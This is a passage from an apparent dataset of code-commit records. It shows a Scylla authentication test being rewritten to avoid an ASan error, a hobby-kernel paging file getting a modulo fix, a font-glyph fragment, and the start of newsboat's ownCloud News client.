);\n        delete image;\n        return result;\n}\n\n\nGlyph* Face::createGlyph( unsigned int size, unsigned int charcode, gpu::texture::util::DynamicAtlas& atlas )\n{\n        texture::util::ImageBuffer* image;\n        FT_GlyphSlot glyph;\n\n        if( !createImageFor( this->_private->face, size, charcode, &image, &glyph ) )\n                return nullptr;\n\n        AtlasGlyph* result = new AtlasGlyph( image, glyph, atlas );\n        delete image;\n        return result;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixed compilation.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2016 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#define BOOST_TEST_DYN_LINK\n\n#include <boost\/range\/irange.hpp>\n#include <boost\/range\/adaptors.hpp>\n#include <boost\/range\/algorithm.hpp>\n#include <boost\/test\/unit_test.hpp>\n#include <stdint.h>\n\n#include <seastar\/core\/future-util.hh>\n#include <seastar\/core\/shared_ptr.hh>\n#include <seastar\/core\/thread.hh>\n\n#include \"tests\/test-utils.hh\"\n#include \"tests\/cql_test_env.hh\"\n#include \"tests\/cql_assertions.hh\"\n\n#include \"auth\/auth.hh\"\n#include \"auth\/data_resource.hh\"\n#include \"auth\/authenticator.hh\"\n#include \"auth\/password_authenticator.hh\"\n#include \"auth\/authenticated_user.hh\"\n\n#include \"db\/config.hh\"\n#include \"cql3\/query_processor.hh\"\n\nSEASTAR_TEST_CASE(test_data_resource) {\n    auth::data_resource root, keyspace(\"fisk\"), column_family(\"fisk\", \"notter\");\n\n    BOOST_REQUIRE_EQUAL(root.is_root_level(), true);\n    BOOST_REQUIRE_EQUAL(keyspace.is_keyspace_level(), true);\n    BOOST_REQUIRE_EQUAL(column_family.is_column_family_level(), true);\n\n    BOOST_REQUIRE_EQUAL(root.has_parent(), false);\n    BOOST_REQUIRE_EQUAL(keyspace.has_parent(), true);\n    BOOST_REQUIRE_EQUAL(column_family.has_parent(), true);\n\n    try {\n        root.get_parent();\n        BOOST_FAIL(\"Should not reach\");\n    } catch (...) {\n        \/\/  ok\n    }\n\n    BOOST_REQUIRE_EQUAL(keyspace.get_parent(), root);\n    BOOST_REQUIRE_EQUAL(column_family.get_parent(), keyspace);\n\n    return make_ready_future();\n}\n\nSEASTAR_TEST_CASE(test_default_authenticator) {\n    return do_with_cql_env([](cql_test_env&) {\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().require_authentication(), false);\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().class_name(), auth::authenticator::ALLOW_ALL_AUTHENTICATOR_NAME);\n        return make_ready_future();\n    });\n}\n\nSEASTAR_TEST_CASE(test_password_authenticator_attributes) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env&) {\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().require_authentication(), true);\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().class_name(), auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME);\n        return make_ready_future();\n    }, cfg);\n}\n\nSEASTAR_TEST_CASE(test_auth_users) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env&) {\n        return seastar::async([] {\n            sstring username(\"fisk\");\n            auth::auth::insert_user(username, false).get();\n            BOOST_REQUIRE_EQUAL(auth::auth::is_existing_user(username).get0(), true);\n            BOOST_REQUIRE_EQUAL(auth::auth::is_super_user(username).get0(), false);\n\n            auth::auth::insert_user(username, true).get();\n            BOOST_REQUIRE_EQUAL(auth::auth::is_existing_user(username).get0(), true);\n            BOOST_REQUIRE_EQUAL(auth::auth::is_super_user(username).get0(), true);\n\n            auth::auth::delete_user(username).get();\n            BOOST_REQUIRE_EQUAL(auth::auth::is_existing_user(username).get0(), false);\n            BOOST_REQUIRE_EQUAL(auth::auth::is_super_user(username).get0(), false);\n        });\n    }, cfg);\n}\n\nSEASTAR_TEST_CASE(test_password_authenticator_operations) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env&) {\n        return seastar::async([] {\n            sstring username(\"fisk\");\n            sstring password(\"notter\");\n\n            auto& a = auth::authenticator::get();\n\n            using option = auth::authenticator::option;\n            auto USERNAME_KEY = auth::authenticator::USERNAME_KEY;\n            auto PASSWORD_KEY = auth::authenticator::PASSWORD_KEY;\n\n            \/\/ check non-existing user\n            try {\n                a.authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).get0();\n                BOOST_FAIL(\"should not reach\");\n            } catch (exceptions::authentication_exception&) {\n                \/\/ ok\n            }\n\n            a.create(username, { { option::PASSWORD, password} }).get();\n            {\n                auto user = a.authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).get0();\n\n                BOOST_REQUIRE_EQUAL(user->name(), username);\n                BOOST_REQUIRE_EQUAL(user->is_anonymous(), false);\n            }\n            \/\/ check wrong password\n            try {\n                a.authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, \"hejkotte\" } }).get0();\n                BOOST_FAIL(\"should not reach\");\n            } catch (exceptions::authentication_exception&) {\n                \/\/ ok\n            }\n\n            \/\/ sasl\n            auto sasl = a.new_sasl_challenge();\n\n            BOOST_REQUIRE_EQUAL(sasl->is_complete(), false);\n\n            bytes b;\n            int8_t i = 0;\n            b.append(&i, 1);\n            b.insert(b.end(), username.begin(), username.end());\n            b.append(&i, 1);\n            b.insert(b.end(), password.begin(), password.end());\n\n            sasl->evaluate_response(b);\n            BOOST_REQUIRE_EQUAL(sasl->is_complete(), true);\n\n            {\n                auto user = sasl->get_authenticated_user().get0();\n                BOOST_REQUIRE_EQUAL(user->name(), username);\n                BOOST_REQUIRE_EQUAL(user->is_anonymous(), false);\n            }\n\n            \/\/ check deleted user\n            a.drop(username).get();\n\n            try {\n                a.authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).get0();\n                BOOST_FAIL(\"should not reach\");\n            } catch (exceptions::authentication_exception&) {\n                \/\/ ok\n            }\n        });\n    }, cfg);\n}\n\n\nSEASTAR_TEST_CASE(test_cassandra_hash) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env& env) {\n        return seastar::async([&env] {\n\n            \/**\n             * Try to check password against hash from origin.\n             * Allow for specific failure if glibc cannot handle the\n             * hash algo (i.e. blowfish).\n             *\/\n\n            sstring username(\"fisk\");\n            sstring password(\"cassandra\");\n            sstring salted_hash(\"$2a$10$8cz4EZ5v8f\/aTZFkNEQafe.z66ZvjOonOpHCApwx0ksWp3aKf.Roq\");\n\n            \/\/ This is extremely whitebox. We'll just go right ahead and know\n            \/\/ what the tables etc are called. Oy wei...\n            env.local_qp().process(\"INSERT into system_auth.credentials (username, salted_hash) values (?, ?)\", db::consistency_level::ONE,\n                            {username, salted_hash}).get();\n\n            auto& a = auth::authenticator::get();\n\n            auto USERNAME_KEY = auth::authenticator::USERNAME_KEY;\n            auto PASSWORD_KEY = auth::authenticator::PASSWORD_KEY;\n\n            \/\/ try to verify our user with a cassandra-originated salted_hash\n            try {\n                a.authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).get0();\n            } catch (exceptions::authentication_exception& e) {\n                try {\n                    std::rethrow_if_nested(e);\n                    BOOST_FAIL(std::string(\"Unexcepted exception \") + e.what());\n                } catch (std::system_error & e) {\n                    bool is_einval = e.code().category() == std::system_category() && e.code().value() == EINVAL;\n                    BOOST_WARN_MESSAGE(is_einval, \"Could not verify cassandra password hash due to glibc limitation\");\n                    if (!is_einval) {\n                        BOOST_FAIL(std::string(\"Unexcepted system error \") + e.what());\n                    }\n                }\n            }\n        });\n    }, cfg);\n}\n\n\n<commit_msg>auth_test: workaround ASan false error<commit_after>\/*\n * Copyright 2016 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#define BOOST_TEST_DYN_LINK\n\n#include <boost\/range\/irange.hpp>\n#include <boost\/range\/adaptors.hpp>\n#include <boost\/range\/algorithm.hpp>\n#include <boost\/test\/unit_test.hpp>\n#include <stdint.h>\n\n#include <seastar\/core\/future-util.hh>\n#include <seastar\/core\/shared_ptr.hh>\n#include <seastar\/core\/thread.hh>\n\n#include \"tests\/test-utils.hh\"\n#include \"tests\/cql_test_env.hh\"\n#include \"tests\/cql_assertions.hh\"\n\n#include \"auth\/auth.hh\"\n#include \"auth\/data_resource.hh\"\n#include \"auth\/authenticator.hh\"\n#include \"auth\/password_authenticator.hh\"\n#include \"auth\/authenticated_user.hh\"\n\n#include \"db\/config.hh\"\n#include \"cql3\/query_processor.hh\"\n\nSEASTAR_TEST_CASE(test_data_resource) {\n    auth::data_resource root, keyspace(\"fisk\"), column_family(\"fisk\", \"notter\");\n\n    BOOST_REQUIRE_EQUAL(root.is_root_level(), true);\n    BOOST_REQUIRE_EQUAL(keyspace.is_keyspace_level(), true);\n    BOOST_REQUIRE_EQUAL(column_family.is_column_family_level(), true);\n\n    BOOST_REQUIRE_EQUAL(root.has_parent(), false);\n    BOOST_REQUIRE_EQUAL(keyspace.has_parent(), true);\n    BOOST_REQUIRE_EQUAL(column_family.has_parent(), true);\n\n    try {\n        root.get_parent();\n        BOOST_FAIL(\"Should not reach\");\n    } catch (...) {\n        \/\/  ok\n    }\n\n    BOOST_REQUIRE_EQUAL(keyspace.get_parent(), root);\n    BOOST_REQUIRE_EQUAL(column_family.get_parent(), keyspace);\n\n    return make_ready_future();\n}\n\nSEASTAR_TEST_CASE(test_default_authenticator) {\n    return do_with_cql_env([](cql_test_env&) {\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().require_authentication(), false);\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().class_name(), auth::authenticator::ALLOW_ALL_AUTHENTICATOR_NAME);\n        return make_ready_future();\n    });\n}\n\nSEASTAR_TEST_CASE(test_password_authenticator_attributes) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env&) {\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().require_authentication(), true);\n        BOOST_REQUIRE_EQUAL(auth::authenticator::get().class_name(), auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME);\n        return make_ready_future();\n    }, cfg);\n}\n\nSEASTAR_TEST_CASE(test_auth_users) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env&) {\n        return seastar::async([] {\n            sstring username(\"fisk\");\n            auth::auth::insert_user(username, false).get();\n            BOOST_REQUIRE_EQUAL(auth::auth::is_existing_user(username).get0(), true);\n            BOOST_REQUIRE_EQUAL(auth::auth::is_super_user(username).get0(), false);\n\n            auth::auth::insert_user(username, true).get();\n            BOOST_REQUIRE_EQUAL(auth::auth::is_existing_user(username).get0(), true);\n            BOOST_REQUIRE_EQUAL(auth::auth::is_super_user(username).get0(), true);\n\n            auth::auth::delete_user(username).get();\n            BOOST_REQUIRE_EQUAL(auth::auth::is_existing_user(username).get0(), false);\n            BOOST_REQUIRE_EQUAL(auth::auth::is_super_user(username).get0(), false);\n        });\n    }, cfg);\n}\n\nSEASTAR_TEST_CASE(test_password_authenticator_operations) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    \/**\n     * Not using seastar::async due to apparent ASan bug.\n     * Enjoy the slightly less readable code.\n     *\/\n    return do_with_cql_env([](cql_test_env&) {\n        sstring username(\"fisk\");\n        sstring password(\"notter\");\n\n        using namespace auth;\n        using option = authenticator::option;\n        using user_ptr = ::shared_ptr<authenticated_user>;\n\n        auto USERNAME_KEY = authenticator::USERNAME_KEY;\n        auto PASSWORD_KEY = authenticator::PASSWORD_KEY;\n\n\n        \/\/ check non-existing user\n        return authenticator::get().authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).then_wrapped([](future<user_ptr>&& f) {\n            try {\n                f.get();\n                BOOST_FAIL(\"should not reach\");\n            } catch (exceptions::authentication_exception&) {\n                \/\/ ok\n            }\n        }).then([=] {\n            return authenticator::get().create(username, { { option::PASSWORD, password} }).then([=] {\n                return authenticator::get().authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).then([=](user_ptr user) {\n                    BOOST_REQUIRE_EQUAL(user->name(), username);\n                    BOOST_REQUIRE_EQUAL(user->is_anonymous(), false);\n                });\n            });\n        }).then([=] {\n            \/\/ check wrong password\n            return authenticator::get().authenticate( { {USERNAME_KEY, username}, {PASSWORD_KEY, \"hejkotte\"}}).then_wrapped([](future<user_ptr>&& f) {\n                try {\n                    f.get();\n                    BOOST_FAIL(\"should not reach\");\n                } catch (exceptions::authentication_exception&) {\n                    \/\/ ok\n                }\n            });\n        }).then([=] {\n            \/\/ sasl\n            auto sasl = authenticator::get().new_sasl_challenge();\n\n            BOOST_REQUIRE_EQUAL(sasl->is_complete(), false);\n\n            bytes b;\n            int8_t i = 0;\n            b.append(&i, 1);\n            b.insert(b.end(), username.begin(), username.end());\n            b.append(&i, 1);\n            b.insert(b.end(), password.begin(), password.end());\n\n            sasl->evaluate_response(b);\n            BOOST_REQUIRE_EQUAL(sasl->is_complete(), true);\n\n            return sasl->get_authenticated_user().then([=](user_ptr user) {\n                BOOST_REQUIRE_EQUAL(user->name(), username);\n                BOOST_REQUIRE_EQUAL(user->is_anonymous(), false);\n            });\n        }).then([=] {\n            \/\/ check deleted user\n            return authenticator::get().drop(username).then([=] {\n                return authenticator::get().authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).then_wrapped([](future<user_ptr>&& f) {\n                    try {\n                        f.get();\n                        BOOST_FAIL(\"should not reach\");\n                    } catch (exceptions::authentication_exception&) {\n                        \/\/ ok\n                    }\n                });\n            });\n        });\n    }, cfg);\n}\n\n\nSEASTAR_TEST_CASE(test_cassandra_hash) {\n    db::config cfg;\n    cfg.authenticator = auth::password_authenticator::PASSWORD_AUTHENTICATOR_NAME;\n\n    return do_with_cql_env([](cql_test_env& env) {\n        return seastar::async([&env] {\n\n            \/**\n             * Try to check password against hash from origin.\n             * Allow for specific failure if glibc cannot handle the\n             * hash algo (i.e. blowfish).\n             *\/\n\n            sstring username(\"fisk\");\n            sstring password(\"cassandra\");\n            sstring salted_hash(\"$2a$10$8cz4EZ5v8f\/aTZFkNEQafe.z66ZvjOonOpHCApwx0ksWp3aKf.Roq\");\n\n            \/\/ This is extremely whitebox. We'll just go right ahead and know\n            \/\/ what the tables etc are called. Oy wei...\n            env.local_qp().process(\"INSERT into system_auth.credentials (username, salted_hash) values (?, ?)\", db::consistency_level::ONE,\n                            {username, salted_hash}).get();\n\n            auto& a = auth::authenticator::get();\n\n            auto USERNAME_KEY = auth::authenticator::USERNAME_KEY;\n            auto PASSWORD_KEY = auth::authenticator::PASSWORD_KEY;\n\n            \/\/ try to verify our user with a cassandra-originated salted_hash\n            try {\n                a.authenticate({ { USERNAME_KEY, username }, { PASSWORD_KEY, password } }).get0();\n            } catch (exceptions::authentication_exception& e) {\n                try {\n                    std::rethrow_if_nested(e);\n                    BOOST_FAIL(std::string(\"Unexcepted exception \") + e.what());\n                } catch (std::system_error & e) {\n                    bool is_einval = e.code().category() == std::system_category() && e.code().value() == EINVAL;\n                    BOOST_WARN_MESSAGE(is_einval, \"Could not verify cassandra password hash due to glibc limitation\");\n                    if (!is_einval) {\n                        BOOST_FAIL(std::string(\"Unexcepted system error \") + e.what());\n                    }\n                }\n            }\n        });\n    }, cfg);\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2013 Mirus Project\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\n\/\/ paging.cpp - interface for paging and related structures\n\/\/\n\n#include <mem\/paging.hpp>\n#include <mem\/kheap.hpp>\n\nnamespace mirus\n{\n    namespace mem\n    {\n        page_directory_t* kernel_directory = 0;\n        page_directory_t* current_directory = 0;\n\n        uint32_t* frames;\n        uint32_t nframes;\n\n        extern uint32_t placement_address;\n\n        #define INDEX_FROM_BIT(a) (a \/ 0x20)\n        #define OFFSET_FROM_BIT(a) (a % 0x20)\n\n        static void set_frame(uint32_t frame_addr)\n        {\n            uint32_t frame = frame_addr \/ 0x1000;\n            uint32_t index = INDEX_FROM_BIT(frame);\n            uint32_t offset = OFFSET_FROM_BIT(frame);\n            \n            frames[index] |= (0x1 << offset);\n        }\n\n        static void clear_frame(uint32_t frame_addr)\n        {\n            uint32_t frame = frame_addr \/ 0x1000;\n            uint32_t index = INDEX_FROM_BIT(frame);\n            uint32_t offset = OFFSET_FROM_BIT(frame);\n            \n            frames[index] &= ~(0x1 << offset);\n        }\n\n        static uint32_t test_frame(uint32_t frame_addr)\n        {\n            uint32_t frame = frame_addr \/ 0x1000;\n            uint32_t index = INDEX_FROM_BIT(frame);\n            uint32_t offset = OFFSET_FROM_BIT(frame);\n\n            return (frames[index] & (0x1 << offset));\n        }\n\n        static uint32_t first_frame()\n        {\n            for (uint32_t i = 0; i < INDEX_FROM_BIT(nframes); i++)\n            {\n                if (frames[i] != 0xFFFFFFFF)\n                {\n                    for (uint32_t j = 0; j < 32; j++)\n                    {\n                        uint32_t test = 0x1 << j;\n\n                        if (!(frames[i]&test))\n                            return i*4*8+j;\n                    }\n                }\n            }\n        }\n\n        void alloc_frame(page_t* page, uint32_t is_kernel, int is_writeable)\n        {\n            if (page->frame != 0)\n            {\n                page->present = 1;\n                page->rw = (is_writeable == 1) ? 1:0;\n                page->user = (is_kernel == 1) ? 0:1;\n                return;\n            }\n            else\n            {\n                uint32_t index = first_frame();\n                set_frame(index * 0x1000);\n                page->present = 1;\n                page->rw = (is_writeable == 1) ? 1:0;\n                page->user = (is_kernel == 1) ? 0:1;\n                page->frame = index;\n            }\n        }\n\n        void free_frame(page_t* page)\n        {\n            uint32_t frame;\n\n            if (!(frame = page->frame))\n                return;\n            else\n            {\n                clear_frame(frame * 0x1000);\n                page->frame = 0x0;\n            }\n        }\n\n        void paging::init(uint32_t memsize)\n        {\n            nframes = memsize \/ 4;\n            frames = (uint32_t*)kmalloc(INDEX_FROM_BIT(nframes * 8));\n            memset(frames, 0, INDEX_FROM_BIT(nframes));\n\n            kernel_directory = (page_directory_t*)kmalloc_a(sizeof(page_directory_t));\n            current_directory = kernel_directory;\n\n            for (uintptr_t i = 0; i < placement_address + 0x3000; i += 0x1000) \n            {\n                alloc_frame(paging::get_page(i, 1, kernel_directory), 1, 0);\n            }\n\n            cpu::irq::install_handler(14, paging::page_fault);\n            kernel_directory->physical_address = (uintptr_t)kernel_directory->tables_physical;\n            paging::switch_page_directory(kernel_directory);\n        }\n\n        void paging::switch_page_directory(page_directory_t* dir)\n        {\n            current_directory = dir;\n\n            asm volatile(\"mov %0, %%cr3\":: \"r\"(current_directory->physical_address));\n            uint32_t cr0;\n            asm volatile(\"mov %%cr0, %0\": \"=r\"(cr0));\n            cr0 |= 0x80000000;\n            asm volatile(\"mov %0, %%cr0\":: \"r\"(cr0));\n        }\n\n        page_t* paging::get_page(uint32_t address, int make, page_directory_t* dir)\n        {\n            address \/= 0x1000;\n            uint32_t table_index = address \/ 1024;\n\n            if (dir->tables[table_index])\n                return &dir->tables[table_index]->pages[address % 1014];\n            else if (make)\n            {\n                uint32_t temp;\n                \n                dir->tables[table_index] = \n                    (page_table_t*)kmalloc_ap(sizeof(page_table_t), &temp);\n                dir->tables_physical[table_index] = temp | 0x7;\n                return &dir->tables[table_index]->pages[address % 1014];\n            }\n            else\n                return 0;\n        }\n\n        void paging::page_fault(cpu::regs* regs)\n        {\n            \/\/ A page fault has occurred.\n            \/\/ The faulting address is stored in the CR2 register.\n            uint32_t faulting_address;\n            asm volatile(\"mov %%cr2, %0\" : \"=r\" (faulting_address));\n            \n            \/\/ The error code gives us details of what happened.\n            int present   = !(regs->err_code & 0x1); \/\/ Page not present\n            int rw = regs->err_code & 0x2;           \/\/ Write operation?\n            int us = regs->err_code & 0x4;           \/\/ Processor was in user-mode?\n            int reserved = regs->err_code & 0x8;     \/\/ Overwritten CPU-reserved bits of page entry?\n            int id = regs->err_code & 0x10;          \/\/ Caused by an instruction fetch?\n\n            \/\/ Output an error message.\n            kprintf(\"Page fault! ( \");\n            if (present) {kprintf(\"present \");}\n            if (rw) {kprintf(\"read-only \");}\n            if (us) {kprintf(\"user-mode \");}\n            if (reserved) {kprintf(\"reserved \");}\n            kprintf(\") at %x\\n\", faulting_address);\n        }\n    } \/\/ !namespace\n} \/\/ !namespace<commit_msg>Changed  to  in several spots<commit_after>\/\/ Copyright 2013 Mirus Project\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\n\/\/ paging.cpp - interface for paging and related structures\n\/\/\n\n#include <mem\/paging.hpp>\n#include <mem\/kheap.hpp>\n\nnamespace mirus\n{\n    namespace mem\n    {\n        page_directory_t* kernel_directory = 0;\n        page_directory_t* current_directory = 0;\n\n        uint32_t* frames;\n        uint32_t nframes;\n\n        extern uint32_t placement_address;\n\n        #define INDEX_FROM_BIT(a) (a \/ 0x20)\n        #define OFFSET_FROM_BIT(a) (a % 0x20)\n\n        static void set_frame(uint32_t frame_addr)\n        {\n            uint32_t frame = frame_addr \/ 0x1000;\n            uint32_t index = INDEX_FROM_BIT(frame);\n            uint32_t offset = OFFSET_FROM_BIT(frame);\n            \n            frames[index] |= (0x1 << offset);\n        }\n\n        static void clear_frame(uint32_t frame_addr)\n        {\n            uint32_t frame = frame_addr \/ 0x1000;\n            uint32_t index = INDEX_FROM_BIT(frame);\n            uint32_t offset = OFFSET_FROM_BIT(frame);\n            \n            frames[index] &= ~(0x1 << offset);\n        }\n\n        static uint32_t test_frame(uint32_t frame_addr)\n        {\n            uint32_t frame = frame_addr \/ 0x1000;\n            uint32_t index = INDEX_FROM_BIT(frame);\n            uint32_t offset = OFFSET_FROM_BIT(frame);\n\n            return (frames[index] & (0x1 << offset));\n        }\n\n        static uint32_t first_frame()\n        {\n            for (uint32_t i = 0; i < INDEX_FROM_BIT(nframes); i++)\n            {\n                if (frames[i] != 0xFFFFFFFF)\n                {\n                    for (uint32_t j = 0; j < 32; j++)\n                    {\n                        uint32_t test = 0x1 << j;\n\n                        if (!(frames[i]&test))\n                            return i * 0x20 +j;\n                    }\n                }\n            }\n        }\n\n        void alloc_frame(page_t* page, uint32_t is_kernel, int is_writeable)\n        {\n            if (page->frame != 0)\n            {\n                page->present = 1;\n                page->rw = (is_writeable == 1) ? 1:0;\n                page->user = (is_kernel == 1) ? 0:1;\n                return;\n            }\n            else\n            {\n                uint32_t index = first_frame();\n                set_frame(index * 0x1000);\n                page->present = 1;\n                page->rw = (is_writeable == 1) ? 1:0;\n                page->user = (is_kernel == 1) ? 0:1;\n                page->frame = index;\n            }\n        }\n\n        void free_frame(page_t* page)\n        {\n            uint32_t frame;\n\n            if (!(frame = page->frame))\n                return;\n            else\n            {\n                clear_frame(frame * 0x1000);\n                page->frame = 0x0;\n            }\n        }\n\n        void paging::init(uint32_t memsize)\n        {\n            nframes = memsize \/ 4;\n            frames = (uint32_t*)kmalloc(INDEX_FROM_BIT(nframes * 8));\n            memset(frames, 0, INDEX_FROM_BIT(nframes));\n\n            kernel_directory = (page_directory_t*)kmalloc_a(sizeof(page_directory_t));\n            current_directory = kernel_directory;\n\n            for (uintptr_t i = 0; i < placement_address + 0x3000; i += 0x1000) \n                alloc_frame(paging::get_page(i, 1, kernel_directory), 1, 0);\n\n            cpu::irq::install_handler(14, paging::page_fault);\n            kernel_directory->physical_address = (uintptr_t)kernel_directory->tables_physical;\n            paging::switch_page_directory(kernel_directory);\n        }\n\n        void paging::switch_page_directory(page_directory_t* dir)\n        {\n            current_directory = dir;\n\n            asm volatile(\"mov %0, %%cr3\":: \"r\"(current_directory->physical_address));\n            uint32_t cr0;\n            asm volatile(\"mov %%cr0, %0\": \"=r\"(cr0));\n            cr0 |= 0x80000000;\n            asm volatile(\"mov %0, %%cr0\":: \"r\"(cr0));\n        }\n\n        page_t* paging::get_page(uint32_t address, int make, page_directory_t* dir)\n        {\n            address \/= 0x1000;\n            uint32_t table_index = address \/ 1024;\n\n            if (dir->tables[table_index])\n                return &dir->tables[table_index]->pages[address % 1024];\n            else if (make)\n            {\n                uint32_t temp;\n                \n                dir->tables[table_index] = \n                    (page_table_t*)kmalloc_ap(sizeof(page_table_t), &temp);\n                dir->tables_physical[table_index] = temp | 0x7;\n                return &dir->tables[table_index]->pages[address % 1024];\n            }\n            else\n                return 0;\n        }\n\n        void paging::page_fault(cpu::regs* regs)\n        {\n            \/\/ A page fault has occurred.\n            \/\/ The faulting address is stored in the CR2 register.\n            uint32_t faulting_address;\n            asm volatile(\"mov %%cr2, %0\" : \"=r\" (faulting_address));\n            \n            \/\/ The error code gives us details of what happened.\n            int present   = !(regs->err_code & 0x1); \/\/ Page not present\n            int rw = regs->err_code & 0x2;           \/\/ Write operation?\n            int us = regs->err_code & 0x4;           \/\/ Processor was in user-mode?\n            int reserved = regs->err_code & 0x8;     \/\/ Overwritten CPU-reserved bits of page entry?\n            int id = regs->err_code & 0x10;          \/\/ Caused by an instruction fetch?\n\n            \/\/ Output an error message.\n            kprintf(\"Page fault! ( \");\n            if (present) {kprintf(\"present \");}\n            if (rw) {kprintf(\"read-only \");}\n            if (us) {kprintf(\"user-mode \");}\n            if (reserved) {kprintf(\"reserved \");}\n            kprintf(\") at %x\\n\", faulting_address);\n        }\n    } \/\/ !namespace\n} \/\/ !namespace<|endoftext|>"}
{"text":"<commit_before>#include \"ocnewsapi.h\"\n\n#include <algorithm>\n#include <cstdio>\n#include <cstring>\n#include <curl\/curl.h>\n#include <json-c\/json.h>\n#include <memory>\n#include <time.h>\n\n#include \"utils.h\"\n\n#define OCNEWS_API \"\/index.php\/apps\/news\/api\/v1-2\/\"\n\nnamespace newsboat {\n\ntypedef std::unique_ptr<json_object, decltype(*json_object_put)> JsonUptr;\ntypedef std::unique_ptr<CURL, decltype(*curl_easy_cleanup)> CurlUptr;\n\nOcNewsApi::OcNewsApi(ConfigContainer* c)\n\t: RemoteApi(c)\n{\n\tserver = cfg->get_configvalue(\"ocnews-url\");\n\n\tif (server.empty())\n\t\tLOG(Level::CRITICAL,\n\t\t\t\"OcNewsApi::OcNewsApi: No owncloud server set\");\n}\n\nOcNewsApi::~OcNewsApi() {}\n\nbool OcNewsApi::authenticate()\n{\n\tauth = retrieve_auth();\n\tif (auth.empty()) {\n\t\treturn false;\n\t}\n\treturn query(\"status\");\n}\n\nstd::string OcNewsApi::retrieve_auth()\n{\n\tCredentials cred = get_credentials(\"ocnews\", \"ocNews\");\n\tif (cred.user.empty() || cred.pass.empty()) {\n\t\tLOG(Level::CRITICAL,\n\t\t\t\"OcNewsApi::retrieve_auth: No user and\/or password \"\n\t\t\t\"set\");\n\t\treturn \"\";\n\t}\n\treturn cred.user + \":\" + cred.pass;\n}\n\nstd::vector<TaggedFeedUrl> OcNewsApi::get_subscribed_urls()\n{\n\tstd::vector<TaggedFeedUrl> result;\n\tstd::map<long, std::string> folders_map;\n\n\tjson_object* feeds_query;\n\tif (!query(\"feeds\", &feeds_query))\n\t\treturn result;\n\tJsonUptr feeds_uptr(feeds_query, json_object_put);\n\n\tjson_object* folders_query;\n\tif (!query(\"folders\", &folders_query))\n\t\treturn result;\n\tJsonUptr folders_uptr(folders_query, json_object_put);\n\n\tjson_object* folders;\n\tjson_object_object_get_ex(folders_query, \"folders\", &folders);\n\n\tarray_list* folders_list = json_object_get_array(folders);\n\tint folders_length = folders_list->length;\n\n\tfor (int i = 0; i < 